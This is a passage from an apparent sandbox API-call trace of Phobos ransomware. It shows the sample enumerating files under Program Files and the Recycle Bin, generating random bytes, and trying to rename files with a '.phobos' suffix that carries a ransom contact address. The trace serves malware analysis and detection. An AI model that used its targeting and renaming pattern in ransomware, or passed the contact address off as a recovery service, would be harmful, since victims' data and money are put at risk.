pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0147.498] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.498] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=129) returned 1 [0147.498] CloseHandle (hObject=0x53c) returned 1 [0147.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0147.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0147.976] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0147.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0147.977] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27045) returned 1 [0147.977] CloseHandle (hObject=0x564) returned 1 [0147.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0147.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.982] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0147.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0147.992] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=111320) returned 1 [0147.992] CloseHandle (hObject=0x568) returned 1 [0147.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0147.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.993] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0147.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.000] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46622) returned 1 [0148.000] CloseHandle (hObject=0x568) returned 1 [0148.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0148.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.003] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.006] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=199994) returned 1 [0148.006] CloseHandle (hObject=0x568) returned 1 [0148.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0148.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.007] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.010] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1600388) returned 1 [0148.011] CloseHandle (hObject=0x568) returned 1 [0148.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0148.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0148.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0148.011] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.015] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=212) returned 1 [0148.015] CloseHandle (hObject=0x568) returned 1 [0148.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0148.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.018] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.023] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=384) returned 1 [0148.023] CloseHandle (hObject=0x568) returned 1 [0148.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0148.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.024] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.025] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=392) returned 1 [0148.025] CloseHandle (hObject=0x568) returned 1 [0148.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0148.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.027] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.027] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=693) returned 1 [0148.027] CloseHandle (hObject=0x568) returned 1 [0148.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0148.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.028] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.029] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3333) returned 1 [0148.029] CloseHandle (hObject=0x568) returned 1 [0148.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0148.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.029] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.031] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=247) returned 1 [0148.031] CloseHandle (hObject=0x568) returned 1 [0148.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0148.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.032] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3524) returned 1 [0148.032] CloseHandle (hObject=0x568) returned 1 [0148.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0148.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.033] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3529) returned 1 [0148.033] CloseHandle (hObject=0x568) returned 1 [0148.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0148.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.033] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.035] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=738) returned 1 [0148.035] CloseHandle (hObject=0x568) returned 1 [0148.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0148.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.041] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16616) returned 1 [0148.041] CloseHandle (hObject=0x568) returned 1 [0148.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0148.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.042] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9803) returned 1 [0148.042] CloseHandle (hObject=0x568) returned 1 [0148.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0148.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 